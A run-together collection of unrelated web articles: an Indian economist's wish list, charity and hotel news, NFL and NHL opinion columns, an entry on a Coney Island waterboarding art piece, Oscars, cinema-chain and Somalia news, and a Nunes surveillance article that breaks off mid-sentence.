Sixth, a radical change in what the mainstream media finds newsworthy. When they report on record low temperatures in Shimla, they should also report on the disruption of electricity supply that accompanied it; reporting on the statements of political and industry leaders at Vibrant Gujarat, there could be space for the protests and questions organized by Dalit groups outside; when elections are discussed, along with emerging political alliances and feuds, there should be more ground reports as well as fact-checks on the ever-glossier print and electronic media hype about the government’s achievements. And, if television news channels must have programmes dedicated to the latest products in the market, let it be on bicycles rather than cars and mobile phones!
Seventh, the propagandist nature of business media is fully exposed. For instance, in the 2G and coal scams, only political parties (and not companies too) are seen as the culprits. Consequently, instead of both being punished, only political parties have been punished by voters. An important reason behind this is the manipulation of the narrative by the media.
Society
Eighth, Aadhaar will have been rejected by people as the ultimate surveillance infrastructure and data-mining tool that it is, and its clever sugar-coating as a welfare intervention will be exposed. The Aadhaar cancer is spreading to all sections of society and the devastation it is causing by denying people lifeline public services (scholarships, old-age pensions, work and rations) is finally being reported.
Ninth, a massive rise in the acceptability and numbers of inter- and out-of-caste marriages, so we may finally bury caste.
Tenth, looking outwards, the emergence of a Schengen-like treaty for South Asian countries (at least) so that border controls are eliminated, and we can live a passport- and visa-free life in Afghanistan, Bangladesh, Bhutan, India, Maldives, Nepal, Pakistan and Sri Lanka and make up our own minds about what they are like rather than relying on a government- or media-controlled narrative.
Reetika Khera is an associate professor of economics at the Indian Institute of Technology, Delhi
This is part of a series of articles in Mint’s 10th anniversary special issue that look at India 10 years from now. The entire list of articles can be found hereOn Monday 20th June, representatives from some of the leading names in the property and construction sector, including, John Laing Plc, Mansell Construction Services and The Royal Institute of Chartered Surveyors came together for an exclusive event hosted by Gabby and Kenny Logan who are patrons of Great Ormond Street Hospital Children Charity’s £3 million Raising the Roof appeal.
The appeal unites the property and construction sector together to help fund the new centre for neurosciences which is part of the hospital’s massive redevelopment project.
The new centre for Neurosciences
Great Ormond Street Hospital is the largest children’s neurosciences centre in the UK providing care for children with conditions such as tumours of the brain and spinal cord and epilepsy. The unit combines the most comprehensive clinical services in the UK with world-class pioneering research and training. Each year the Neurosciences Team treats over 8,000 children from across the world, carrying out over 750 operations.
Despite the hospital being a centre of excellence, the facilities are cramped, outdated and dispersed across the hospital and there isn’t the capacity to treat the increasing number of children who need our help. The new centre for neurosciences, opening in 2012, will allow us to work together better and more importantly will mean that more children can receive the care they need.
A Q&A with Gabby and Kenny Logan
The Q&A, Held at No.11 Cavendish Square, allowed members and supporters of Raising the Roof to submit questions to the Logans on subjects ranging from their involvement with the charity to their respective careers.
Highlights included the best (and worst) things about having twins, the rivalry in the Logan household over Strictly Come Dancing, Gabby’s interviewing highlights and Kenny’s tips for the Rugby World Cup this year in New Zealand – he thinks the All Blacks should win but that the Wallabies could be the team to derail them unless Uruguay have an uncharacteristically successful bid!
The evening finished with Gabby celebrating that Raising the Roof is approaching the halfway mark at a fantastic £1.4 million!
For more information about the Raising the Roof appeal have a look at our website www.gosh.org/raisingtheroof
AdvertisementsOAKLAND (CBS SF) — A battle is brewing over plans to transform one of the most iconic landmarks in the East Bay, the Claremont Hotel.
Neighbors are getting a chance to sound off on the proposed expansion of the Claremont Hotel and Spa; a plan that would add dozens of condos to the parking lot of the century-old resort nestled in the Oakland-Berkeley hills.
It’s stood as a Berkeley and Oakland landmark since its construction in 1915. Now, new construction has the neighborhood around the Claremont hotel concerned it could change the face and the pace of the place they live
Ruth Shelby lives in the neighborhood and said, “It’s hard to explain why I don’t like it. I just love the old building. Don’t want something brand new right next to it.”
According to documents submitted to Oakland planning and zoning, the Claremont Hotel wants to take out some of the tennis courts and replace them with a new pool.
A 43-unit condominium complex would join the traditional wooden building on the hillside and new special event space would be created.
Despite the drastic difference it could make to the hotel, it hasn’t become a hot topic, yet.
Tanne Lauer president of Rick and Ann’s Restaurant in Oakland said, “I haven’t seen the plans. My concern is the parking and congestion. It doesn’t seem like there’s enough spaces for the increase in membership of the club and for the condominiums.”
Those concerns will likely be highlighted at Wednesday night’s planning and zoning meeting. A local group called, Save the Claremont, has been handing out flyers to urge people to show up and fight against the project.
“I hate to turn down somebody’s idea to make money. It’s not my business. But I hope they don’t do it,” Shelby said.Jim Caldwell deserves huge praise for leading this Detroit Lions team into the playoffs.
The Detroit Lions have no business existing in the NFL playoffs playing the Seattle Seahawks on Saturday night.
Lions coach Jim Caldwell is working some magic, but it is barely being noticed.
The Lions are the only NFL team in the playoffs without a single player named to go to the Pro Bowl.
That is not only incredible – it’s historic.
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As a time-tested rule, if you don’t have one of the NFL’s most dominant players at any position (or three), your team will miss the playoffs. Simple as that.
Matthew Stafford is arguably a Pro Bowl-worthy pick, but Aaron Rodgers, Matt Ryan and Dak Prescott were selected. Even with that, any NFC quarterback snub line begins with Drew Brees.
Go ahead - name a dominant Lion?
Calvin Johnson? Sorry, he suddenly retired last year.
Calvin Pryor brings joy to Jets fan before teen died of cancer
Ndamakong Suh? Sorry, he left two years ago for the Miami Dolphins, and will now be suiting up for them in this year’s playoffs and Pro Bowl.
In his only year with these two stars, Caldwell went 11-5 in his first season – only the second time the Lions reached at least 11 wins in over 50 years.
Yes, 50 years.
In 2014, Caldwell had inherited a 7-9 team, and ESPN had predicted the Lions would go 7-9 again.
Giants running back Perkins is more than just a football player
Despite those 11 wins, this year’s 9-7 is even a greater achievement after losing Suh and Johnson - plus a rash of injuries to key players (see Bob Wojnowski’s column in Detroit News for more details on this season).
Jim Caldwell leads the Lions into Seattle to face the Seahawks Saturday night with zero Pro Bowlers. Image by: Leon Halip/Getty Images
How historic is it? Since 2010, a team reaching the playoffs without a Pro-Bowler has happened only two other times – on technicalities.
In 2013, perennial Packer stars Aaron Rodgers and Clay Matthews missed the cut because they each missed a few games, and in 2010, the 7-9 Seahawks weaseled into the playoffs by winning their pathetic division while the 10-6 Giants and their five Pro Bowlers got squeezed out.
Technicalities aside, the Lions are basically the only team this entire decade to claim a playoff spot with so little star-dominant talent (note: author ended research at 2010 – feel free to continue).
Jets source on QB Christian Hackenberg: ‘He will never make it'
On Saturday night, the Lions will play the Seahawks who boast four Pro Bowler’s, and those don’t even include Russell Wilson or Kam Chancellor! The Seahawks are the norm. Playoff teams from the last two years averaged at least four Pro Bowler’s on their roster (alternates not included).
Now consider some of the NFC teams the Lions beat to the playoffs.
The Arizona Cardinals have Pro Bowl stars David Johnson, Larry Fitzgerald and Patrick Peterson (and last year’s MVP runner up Carson Palmer), but ended up 7-8-1.
Both the Minnesota Vikings and Washington have four Pro Bowl each, but no playoffs. Why? Because the Lions beat both teams this year.
Ranking this year’s best and worst possible Super Bowl matchups
While peculiar Lions critics focus on “backing into the playoffs” or “can’t beat playoff teams,” the Lions were busy eliminating them. To kill off the 8-8 Vikes, they beat them twice.
Do you know why the Lions couldn’t kill off the Packers last week?
Two words: “Aaron Rodgers.”
He was flat-out brilliant, and there is no shame in tipping your helmet to him. Rodgers is why superstars matter.
But pundits would still rather discuss Caldwell’s last three losses than his nine historic wins.
Jim Caldwell gets dumped by the Colts despite the team brass' 'Suck for Luck' strategy. Image by: Andy Lyons/Getty Images
“Glass is half-empty” is the story of Caldwell’s career.
It goes back to his almost-historic coaching debut with the Indianapolis Colts in 2009.
The Colts went 14-0 in Caldwell’s first season, but GM Bill Polian forced Caldwell to rest Peyton Manning and many of his starters in their final two games and sacrifice a likely 16-0 perfect season.
Manning was famously intercepted by the Saints’ Tracy Porter with 3:20 left in that year’s Super Bowl, and the rest is forgotten history. The Colts-Caldwell narrative goes something like this:
“Caldwell just rode Peyton Manning coattails. The Colts already won a Super Bowl with an already established system under Tony Dungy. My grandfather could have coached that team to a Super Bowl!”
Call it the “PEYTON CREATION NARRATIVE.” Here is the reality:
- In 11 seasons with coaches Jim Mora and Dungy, Manning reached the Super Bowl only one time (2006). Manning was simply never the same player in the postseason, and making it to the Super Bowl was never easy task for Manning in any year.
- After the Colts won that first Super Bowl under Dungy, Manning’s playoff woes resumed, and the Colts were upset in their first playoff games the next two years. Point: Caldwell’s Super Bowl appearance was not a predestined path by any stretch.
When neck surgery forced Manning out in Caldwell’s third season, the “Peyton Creation” narrative would get cemented. The Colts went 2-14 – proof for critics that Caldwell was nothing without Manning. Here is the reality:
- That 2-14 record had far more to do with Peyton’s bumbling replacements. A 39-year-old Kerry Collins went 0-3 before finally retiring. Dan Orlovsky went 2-3 – his only two career wins after going 0-7 with the Lions. Curtis Painter went 0-8. Curtis. Painter.
- In his previous two seasons with the Titans, Collins was 2-11. A washed-up Collins and Orlovsky were a combined 2-18 before Caldwell got them, and neither was even his worst quarterback! Did I mention Curtis Painter?
Calling Caldwell’s new quarterbacks “third-stringers” would be an insult to third-stringers. Caldwell was a dead coach walking.
Jim Caldwell is wrongly faulted for only being successful in Indy because of Peyton Manning. Image by: MATT SULLIVAN
When Polian did not claim the serviceable Kyle Orton off waivers, it simply bolstered what many critics called The “Suck4Luck” Theory: Colts leadership was content to tank the season to obtain the No. 1 pick and draft Andrew Luck.
Caldwell would be the sacrificial lamb, costing him both his job and reputation.
Sadly, Caldwell would never get to chance to coach Luck. Instead, Joe Flacco and the Baltimore Ravens were the great beneficiaries.
Remember that incredible playoff run by Joe Flacco on the way to winning the Super Bowl? Flacco immediately improved, as Caldwell quietly “breathed new life” into their offense as their offensive coordinator.
Here is Caldwell’s record versus all other Lions coaches this century:
27-21 - Jim Caldwell
29-51 - Jim Schwartz
10-38 - Rod Marinelli
15-28 - Steve Mariucci
5-27 - Marty Mornhinweg
This week, Lion’s GM Bob Quinn assured Caldwell he would be back next season.
Wow. Gee thanks.
Jim Caldwell wins an AFC title in Indy which wasn't exactly an every-year thing for Peyton Manning. Image by: Darron Cummings
What does Jim Caldwell have to do to reach Jim Schwartz status (coached 5 seasons)?
It might help Caldwell if the media told the truth about him.
In media coach ranking lists, Caldwell inexplicably rarely cracks the top 20. At season’s start, NFL.com had him at No. 21 and USA Today at No. 25. Both had him behind recently fired coaches Jeff Fisher and Chip Kelly, and USA Today dropped him past Mike McCoy also out of a job. Ouch.
USA Today also ranked Bruce Arians, Mike Zimmer and Sean Payton at Nos. 3, 4, and 5 – three coaches with superior players, but still couldn’t beat Caldwell to the playoffs.
So it is settled then: Jim Caldwell is a top-5 NFL coach.
Fickle fans are no help either, SB Nation’s pride of Detroit has been keeping score and here’s a look at Caldwell’s roller-coaster approval rating:
September 2016: 22% approval
January 2016: 59% approval
November 2015: 8% approval
July 2015: 91% approval
Yes, Caldwell’s 1-2 start this year dropped his approval 37 points.
To media and fans, Caldwell is a rookie coach only as good as his last game.
Jim Caldwell mentors Ravens QB Joe Flacco to a surprising run to a Super Bowl. Image by: Patrick Semansky/AP
Basically, like Todd Bowles.
And should he lose badly to a superior Seahawks team on Saturday night, that loss will define him more than the historic 2016 season that permitted that potential loss to happen.
Crazy, isn’t it?
Is race a factor in these perceptions? Of course, it is.
While I have written extensively on the near non-existent line of credit afforded black NFL coaches, this column is dedicated to some of the non-racial factors also plaguing Caldwell’s invisibly-brilliant coaching legacy.
It means giving Caldwell credit for leading Peyton’s second greatest season of his career – after Manning only reached the Super Bowl in 9% of his attempts.
It means not holding the one-year Painter-Orlovsky Era against him when you wouldn’t do the same for the 2-14 Bill Walsh-Steve Deberg great honeymoon of 1979.
It means recognizing he was the OC that clearly helped Joe Flacco during his Super Bowl year of fantasy football.
It means recognizing coaching brilliance when it comes in the form of a starless 9-7 record by a team with 6-10 talent.
But before any of that happens, one of the greatest coaching minds in the NFL will likely be fired.
Because he cannot keep overachieving like this.
History says so.
As soon as the NFL’s most underrated coach stops squeezing two or three extra wins out of his talent – he will be gone. I predict after next season.
We can only hope another really lucky team with greater talent snatches him up.Exterior of the animatronic depiction of waterboarding from Coney Island
In the summer of 2008 conceptual artist Steve Powers conceived a work that came to be known as the Coney Island waterboarding thrill ride on Coney Island.[1][2][3]
As originally conceived, Powers saw the public watching volunteers undergoing actual waterboarding.[1] The Washington Post reported that on August 17, 2008 Powers brought in Mike Ritz, a former US official experienced in administering waterboarding, for a one time demonstration of waterboarding on volunteers.[2] This demonstration was not open to the general public, but rather for an invited audience. Powers himself was one of the volunteers.
As built, the thrill ride was a diorama, where viewers would mount stairs to a window where they would see a tableau of two models, one a captive, one a masked interrogator. The captive was wearing an orange uniform "non-compliant" captives wear in the United States' Guantanamo Bay detention camps, in Cuba, and was spread-eagled on a tilted table.
When the piece was installed, in July 2008, viewers inserted a dollar the interrogator figure would pour water onto a rag over the captive figures' nose and throat, upon which the captive figure would start convulsing.
The piece was installed in a row of ordinary Coney Island freak shows and concessions. When installed the thrill ride triggered coverage and commentary around the world.[4][5]
The installation's last viewing was on September 14, 2008.[6]
Powers told The New York Times his purpose in preparing the display was educational:
"What's more obscene, the official position that waterboarding is not torture, or our official position that it's a thrill ride?" [7]
"Robot waterboarding became a way of exploring the issue without doing any harm. It's putting a unique experience on the table. And it doesn't take a great leap of the imagination to look in there and say: 'That's really what's going on? That's crazy.'"[7]
References [ edit ]Have your say
The two accountants responsible for the best-picture error at Sunday’s Academy Awards will never return to the Oscars, according to the president of the film academy.
Cheryl Boone Isaacs told reporters that the Academy of Motion Picture Arts and Sciences’ relationship with PwC, the accounting firm responsible for the integrity of the awards, remains under review.
Ms Boone Isaacs broke her silence on Wednesday following the biggest blunder in the 89-year history of the Academy Awards.
PwC accountants Brian Cullinan and Martha Ruiz were responsible for the winners’ envelopes at Sunday’s Oscars.
Mr Cullinan tweeted a photo of Emma Stone from backstage minutes before handing presenters Warren Beatty and Faye Dunaway the wrong envelope for best picture.
The pair announced best picture as La La Land rather than the actual winner Moonlight.
Ms Boone Isaacs said Mr Cullinan’s distraction caused the error.After acquiring rival Cinemax, the multiplex pioneer bumps its total screen count to 351.
NEW DELHI – Leading cinema chain PVR Ltd. has announced that it bought the 69.27 percent promoter stake in competing multiplex operator Cinemax India for rupees 3.95 billion ($745 million). New Delhi-headquartered PVR – which opened India's first multiplex in 1997 as part of its earlier joint venture with Australia's Village Roadshow – runs 46 properties with 213 screens offering a seating capacity of 50,655 seats. Mumbai-based Cinemax – which has a stronger presence in western India - runs 39 operational properties with 138 screens offering 33,535 seats.
Following the acquisition, PVR becomes India's largest movie exhibition chain with a combined strength of 351 screens at 85 locations offering 84,190 seats.
PVR's closest rival will now be the recently merged Fame-Inox entity which runs 257 screens followed by the Reliance MediaWorks-owned Big Cinemas which runs 253 screens.
The only international cinema chain in India, Mexico's Cinepolis, launched its operations here in 2009 and currently runs 34 screens. Recent unconfirmed media reports have indicated that Cinepolis is in talks to acquire Big Cinemas.
“In order to achieve market leadership in the Indian exhibition business, PVR has been on a rapid expansion mode both through organic as well as inorganic routes,” said PVR chairman Ajay Bijli. “We are excited about the synergy potential and cost benefits that accrue from the larger scale of operations of the combined network. Cinemax has a premium portfolio of multiplex screen across India and has been a market leader in western India. We heartily welcome the Cinemax team and look forward to working with them in extracting full benefits of integration and consolidation.”
“We believe that the exhibition business benefits from consolidation as large scale strengthens competitive advantage as well as significantly enhances operational efficiencies. This transaction enables realization of such benefits and would create significant value for all the shareholders of Cinemax. The deal will enable us to ensure greater focus on our real estate and hospitality businesses,” said Cinemax promoter Rasesh Kanakia.
The PVR acquisition values Cinemax at rupees 5.7 billion. In the last financial year 2011-12, Cinemax posted a profit of rupees 77.9 million on revenues of rupees 2.7 billion while PVR's net profit stood at rupees 281.1 million on revenues of rupees 4.7 billion.
In August, L Capital Eco Ltd, a subsidiary of the $ 640-million global private equity (PE) firm L Capital Asia, announced it would invest about $19 million (rupees 1.08 billion) in exchange for a 10 percent stake in PVR Ltd. L Capital Asia is backed by Louis Vuitton Moët Hennessy (LVMH) - the world’s biggest luxury goods group - and Group Arnault.
PVR is making the Cinemax acquisition through its wholly-owned subsidiary Cine Hospitality Private Ltd. The acquisition will be followed by an open offer to the public shareholders of Cinemax India for an additional 26 percent stake for cash, as per Securities and Exchange Board of India (SEBI) takeover regulations. This would eventually lead to the delisting of Cinemax shares.
PVR has also got the board approval to raise rupees 2.6 billion via a preferential issue of equity shares. This would see rupees 10.62 million fully paid equity shares issued to PVR promoters Ajay Bijli and his brother Sanjeev Kumar, along with L Capital and private equity fund Multiples Private Equity Fund. This entails the Bijli's investing about rupees 250 million, L Capital about rupees 824 million and Multiplex about rupees 1.53 billion in PVR. As a result, both Multiples Private Equity and L Capital will each own about 15.8 per cent stake each in PVR with the promoters holding a 32 percent stake.
“Given my long-standing relationship with Ajay Bijli and PVR, and our deep understanding of the space, Multiples was able to move quickly and support the company. This is a perfect example of how private equity partnerships can transcend across different stages in the life-cycle of a company. I am personally elated to be part of PVR's game-changing journey yet again,” said Multiples Alternate Asset Management founder Renuka Ramnath.Pentagon officials today claimed “about a dozen” suspected members of al-Shabaab were killed in US airstrikes against an as-yet-undisclosed target in southern Somalia over the course of Monday and Tuesday.
Pentagon spokesman Capt. Jeff Davis said the targeted militants “posed an imminent threat” to US ground troops positioned in the area around the Somali city of Kismayo “assisting” the Somali government.
The Pentagon has recently used claims of an “imminent threat” as a justification for several attacks in Somalia, since if true it would give them a legal justification to attack factions that the US isn’t actually at war with.
In the case of al-Shabaab, US officials have also attempted to portray them as “tied to al-Qaeda” or at times “tied to ISIS.” Neither claim is backed by much, and al-Shabaab is widely seen as a relatively autonomous faction, whose interests are restricted to resisting foreign intervention in Somalia.
Last 5 posts by Jason DitzThe June 1 Metro article “ ‘There are no limitations,’ ” about China Warren’s disability, difficulties and plans to attend college, was heart-warming. My wife and I identify with her story because we have a child who was born with cerebral palsy.
There is an unaddressed, perhaps bigger, question behind the story of college for students with disabilities. Are there colleges in the District, nearby states or along the East Coast that have an appropriate culture and that provide appropriate accommodations for students with disabilities? Two years ago, we took our daughter on a college tour of schools in Maryland, Ohio, Pennsylvania, New Jersey and Connecticut. She just finished her first year at Wright State University in Dayton, Ohio.
Our only lament is that she had to go almost 500 miles away to find a college that had academics, school culture and comprehensive inclusive accommodations for students with disabilities.
Wilbert Baccus, BowieNewsAbortion, Politics - U.S.
URGENT: Call on President-elect Trump to keep his pro-life promises! Sign the petition now.
WASHINGTON, D.C., November 10, 2016 (LifeSiteNews) – President-elect Donald Trump's administration will "protect innocent human life from conception to natural death" and "protect individual conscience in healthcare," according to its transition team's new website.
GreatAgain.gov, the transition team's official website, has a healthcare section that says the Trump administration will repeal Obamacare and "protect innocent human life from conception to natural death, including the most defenseless and those Americans with disabilities."
Protecting conscience in healthcare is first on a list of actions the administration says it will take.
The "Constitutional Rights" page of the website says Trump will uphold his duty to defend the Constitution by "vetoing legislation that exceeds Congressional authority, taking actions as Chief Executive and Commander-in-Chief that are consistent with his constitutional role, and nominating Judges and Supreme Court Justices who are committed to interpreting the Constitution and laws according to their original public meaning."
"He will defend Americans' fundamental rights to free speech [and] religious liberty.... The Constitution declares that as Americans we have the right to speak freely, share and live out our beliefs, raise and protect our families, be free from undue governmental abuse, and participate in the public square," it concludes.
The website also indicates that regulatory reform will be a "cornerstone" of the Trump administration. Under President Obama, the federal goverment has issued tens of thousands of regulations, many of which force people to violate their consciences by cooperating with abortion, contraception, sterilization procedures, and sex-change surgery.Rep. Devin Nunes. Mark Wilson/Getty Images Rep. Devin Nunes on Wednesday threw a huge wrench into the middle of the investigations surrounding President Donald Trump, Trump's claims of being wiretapped by his predecessor, and Russia's meddling in the US election.
And he now finds himself in a central role after making Republicans and Democrats alike scratch their heads over what appeared to be an unprecedented move.
Nunes, the chair of the House Intelligence Committee, called for a sudden 1 p.m. ET press gathering Wednesday, with its subject unclear. But once it began, he fired off what sounded like a bombshell revelation: The intelligence community, he said, had "incidentally collected" information on the Trump transition team during the transition period.
The California Republican went on to say the collection occurred on "numerous occasions" and was not related to the FBI's investigation into Russian meddling in last year's presidential election.
"Details about US persons associated with the incoming administration, details with little or no apparent foreign intelligence value, were widely disseminated in intelligence community reporting," Nunes said.
The information he spoke of was collected legally, in his view, under the Foreign Intelligence Surveillance Act, and he said he did not know whether the surveillance consisted of phone calls but that the intelligence reports he had seen "clearly show" Trump and his team were "monitored."
Another wrinkle: The White House, he said, was unaware of what he was describing to the press. So after the conclusion of his impromptu briefing, he went to 1600 Pennsylvania Avenue to alert the president and his administration.
Following his White House meeting, Nunes stood outside for another press conference. While he said this information did not in any way prove Trump's inflammatory, evidence-free Twitter claim that President Barack Obama wiretapped phones at Trump Tower before the election, Nunes said he had "no idea" whether the collection was intentional spying on behalf of the government.
"We won't know that until we get to the bottom of did people ask for the unmasking of additional names in President Trump's transition team," he said.
A member of Trump's transition team, Nunes finds himself leading the House Intelligence Committee's investigation into Russia's effort to manipulate the 2016 US presidential election. It was during a hearing Monday in front of Nunes' committee that FBI Director James Comey confirmed that the bureau had been investigating potential ties between the Trump campaign and the Russian government since late July. Comey also said the FBI and the Department of Justice could provide no evidence to back up Trump's explosive claim that Obama wiretapped him.
But Nunes, in his White House press conference, said he found nothing wrong with briefing the president on information that could be related to an ongoing investigation into members of his administration and campaign team.
"Because what I saw had nothing to do with Russia and the Russian investigation," Nunes said. "It has everything to do with possible surveillance activities, and the president needs to know these intelligence reports are out there, and I have a duty to tell him that."
Many others didn't see it this way.
Luke Russert, a former Capitol Hill reporter for NBC, said that the episode was "insane" and that in seven years covering Congress he "never saw something like this from" an intelligence chair.
"This is very dangerous. I have trouble seeing somebody like Mike Rogers doing this," Russert tweeted, referring to the former chairman of that committee. "Intel Chairmen don't act like this."
Evan McMullin, a former CIA operative who ran as an independent in the 2016 presidential campaign, said that with Nunes saying the communications were "incidentally collected," the real question was, "Who was Trump talking to?"
"If what Devin Nunes says is true, Trump was communicating with persons of intelligence or criminal interest," he tweeted. "This is Devin Nunes doing President Trump and Congressional Republicans a favor by muddying the waters on the Trump/Russia investigation."
Joe Scarborough, the former Republican congressman who hosts MSNBC's "Morning Joe," tweeted that Nunes' actions were cause for him to be removed as chair of the committee. And David Jolly, a former Republican congressman who has been fiercely critical of Trump in recent days, tweeted that Nunes and the entirety of the House GOP had "zero credibility now."
"Blew it," he wrote. Rep. Adam Schiff of California, he continued, had become "the cerebral hero of this investigation."
Rep. Adam Schiff. Win McNamee/Getty Images Schiff, the ranking Democrat on the intelligence committee, seemed flabbergasted about Nunes' move during an early-evening press conference in which he essentially said Nunes' Wednesday moves soiled their panel's investigation.
The California Democrat said he hadn't seen or heard of the reports Nunes spoke of before he discussed the matter with the media, House Speaker Paul Ryan, and Trump.
"The chairman will need to decide whether he is the chairman of an independent investigation into conduct which includes allegations of potential coordination between the Trump campaign and the Russians, or he's going to act as a surrogate of the White House," Schiff said. "Because he cannot do both."
He would not say whether Nunes had disclosed classified information, but he did call the disclosure "highly irregular and probably inappropriate."
"Unfortunately I think the actions of today throw great doubt into the ability of both the chairman and the committee to conduct the investigation," he said. "I've expressed these grave concerns with the chairman."
Schiff said the disclosure heightened the necessity for an investigation to take place by a fully independent body. He even went as far to suggest the move could be a part of a broader conspiracy.
"I'm not sure what the point of this extraordinary process is, and I have to hope that this is not part of a broader campaign by the White House aimed to deflect" from Comey's testimony, he said.
President Donald Trump. Getty Images
Trump's allies took the Wednesday news as word that the president was vindicated for his earlier assertion about Obama, which earned him scorn across the political spectrum and led the sitting FBI director to publicly rebuke the claims.
Fox News host Sean Hannity took to Twitter after the Nunes episode to declare victory over the "destroy Trump media" and asked whether anyone doubted that American journalism was "dead."
"Devin Nunes confirms SURVEILLANCE VS @POTUS," he wrote. "Sara Carter, John Solomon, @seanhannity right again. Destroy Trump media wrong again."
He later added, mentioning White House chief strategist Steve Bannon: "Any doubts journalism in America is DEAD? Alt left propaganda destroy @realDonaldTrump media is the opposition party. Bannon correct."
Asked about the Nunes revelations after |
Sharks to win the Stanley Cup and repeatedly looking foolish, much of the mainstream media seems to have done a 180 in recent seasons, overcompensating for their past optimism by resorting to pretty bizarre and unfounded criticism of San Jose. There was certainly a lot to dislike about the team's performance last season but most commentators set their sights on completely undeserving targets.
Red Wings fans
I'm certain there are thoughtful, intelligent, respectful Wings fans out there who were aware of what a puck was even before 1997. I just haven't met any.
Angry calls for the Sharks to bring Jonathan Cheechoo back
It usually doesn't take more than a three-game losing streak in November for someone to suggest the Sharks never should have let go of Jonathan Cheechoo and that Doug Wilson should be on the phone with Cheechoo's agent as soon as possible negotiating a contract.
Televised games from Anaheim, Edmonton or Colorado
Maybe this is just a pet peeve of mine but the lighting at the Honda Center, Pepsi Center and Rexall Place (along with some other arenas like Madison Square Garden, United Center and the Saddledome) translates pretty awfully to broadcast television. Even in high definition, games in those venues can be hard to watch.
That one commercial for Bowlmor Lanes
Enough said.
David Maley
I'm sure David is a decent enough guy to have a beer with and he was a solid hard-nosed, crease-clearing defenseman in his playing days. But Goc almighty is he the absolute worst intermission analyst CSN (or its Bay Area sports broadcasting predecessor, FSN) has ever hired.
The Sharks' penalty kill
It's no secret that the Achilles' heel of the Sharks has largely been their penalty kill for two years running, with the team finishing 29th in efficiency last season and 24th in 2010-11. So it has to be seen as a positive that we have so far been spared the visual of a lone penalty killer struggling to cover both point men while an out-of-position Shark between the hashmarks allows a cross-ice pass to be one-timed past Antti Niemi.
People yelling "SHOOOOOOOT!" for the duration of a power play
To be perfectly honest, these people might be smarter than we give them credit for since a team's shot rate on the power play tends to be the most stable predictor of man-advantage success. Of course, that doesn't mean they aren't still annoying as hell.
Overpriced and terrible arena concessions
Paying $7 for stale nachos served with cheese that resembles a mixture of hydraulic fluid and yellow food coloring is something I can live without, thank you very much.
Mike Milbury
It's much easier to list the TV analysts covering hockey who aren't terrible than the ones who are but Mike Milbury is a particularly interesting case. He's a pretty ubiquitous presence in NHL media these days despite the fact that his playing career was completely underwhelming yet was still exponentially better than his tenure as an executive, where he left behind the legacy of possibly being the worst GM the league has ever seen. And yet his take on the game is one that needs to be shoved down our throats between periods, apparently. The worst is when he's trotted out on Hockey Night In Canada's Hotstove despite apparently having zero inside information. He also kind of looks like Jim Belushi.
Racism, sexism and homophobia
The extent to which the hockey community has embraced the You Can Play project is heartwarming but when we still have the Sedin twins referred to as "sisters" derogatorily, when racist slurs are still flung at black players by the fistful through social media, and when anti-gay language is still used liberally on the ice, in addition to the structural issues that foster a league that remains overwhelmingly white, it's clear that there's still a ways to go for the NHL to excise intolerance and adapt to the diversity of the modern world.
Watching Michal Handzus skate
Anyone who reads this blog probably knows I'm not the biggest fan of Michal Handzus. I was wary when Doug Wilson signed him to a two-year contract (with a no-move clause no less) and his performance last season cemented my opinion that adding him to the team was a mistake. Thanks to this lockout, though, the most we'll have to suffer through is 48 more games of Handzus out of position or dragging ass to exit the defensive zone.
Officiating
If this labor dispute was instead between owners and referees and resulted in Bettman pulling a Roger Goodell and calling in the replacements, would anyone even notice?
Complaints about officiating
I don't mind a good conspiracy theory but when literally every fanbase across the league believes NHL officials have a personal vendetta against their team, it becomes a tad grating and ridiculous. Thanks to the lockout, those tin foil hats have now been repurposed towards figuring out how many puppies the secret cabal of rich owners (let's call them the Illuminat-eh) is going to kill next in a Satanic sacrifice to prolong the work stoppage.
Atrocious arena music
I'd rather not be bombarded with Top 40 drivel or cookie-cutter hip-hop every time I step into a hockey arena. I realize that might make me sound like some strange combination of a crotchety old grandpa and Brooklyn-dwelling hipster but my ears really don't need to be subjected to sounds as musically diverse yet uniformly awful as LMFAO and 80's cock rock in one sitting. I'm also consistently puzzled by the logic behind song selection. Do the Ducks, Islanders and Flyers realize that their goal song "Bro Hymn," aside from being terrible, is about a guy who died in a car accident and another one who drowned in a beach pier?
The league's disciplinary process
While Brendan Shanahan represented a step up from Colin Campbell as league disciplinary czar, it was much in the same way Nikita Khrushchev was a step up from Joseph Stalin—still bad, but with mercifully less genocide. Pin-the-tail-on-the-donkey style suspension sentencing still reigns supreme, while sensible disciplinary action remains the exception and not the rule.
Which reminds me: Raffi Torres
As much as I actively despise the likes of Perry, Steve Ott, Chris Pronger, Brian Campbell and others around the league, I'd never actually wish for an NHL player to be seriously injured in any way. Except for Raffi Torres. Fuck this guy. I hope Douglas Murray scatters his entrails across the ice next season.
Watching the Sharks lose a game they dominate
This was a frustratingly common occurrence down the stretch last season. The Sharks would dominate puck possession, outshooting and outchancing their opponent by a substantial margin, before losing courtesy of a bad bounce or blown coverage. Somehow this is harder to stomach than games where the team flat out doesn't show up so at least we've been saved from the heartache so far.
Militarism
While charities like Defending the Blue Line provide an extremely valuable service to military families whom the U.S. government has failed miserably, the marriage between hockey and military culture is often far more insidious. Soldiers descending from the rafters during the national anthem, players in camo warm-up sweaters and logos that resemble fighter jets primarily serve to promote a pro-war agenda and stoke support for military intervention, particularly in the sport's younger and more malleable fans. This sometimes also goes hand-in-hand with the nationalism that pervades mainstream hockey commentary (Europeans are lazy and enigmatic unlike those good ol' Canadian and American boys). Canadian band Propagandhi explained the problems surrounding this best in their musical address to Ron MacLean and CBC's Coach's Corner.
Fourth lines skating against one another
It's always frustrating when legitimately talented players (like, say, Worcester's Tim Kennedy who is currently 4th in AHL scoring) are kept out of the league in favor of grinders and goons due to some antiquated notion of role player quotas in successful team building. Never is this more blatantly on display than during the tacit gentleman's agreement between NHL coaches to almost exclusively deploy their fourth-liners only when the other team's fourth line is on the ice, leading to a few minutes per game of boring, low-event hockey.
The neutral zone trap
Speaking of boring hockey, the trap has been somewhat modified into more interesting incarnations in recent years but it still largely exists to de-emphasize skill and puck movement. Of course, it's likely even more abundant in other hockey leagues so the NHL being locked out does little to limit the impact of this scourge of monotony on the game.
Antti Niemi starting every game
I'm probably a bigger Niemi fan than most and think he's an above-average NHL starter signed to a good deal but even I don't think he should be overworked to the extent that he has been in his two seasons as a Shark. Todd McLellan finally has a competent backup in Thomas Greiss and should really use him more often whenever the league returns.
Time zones
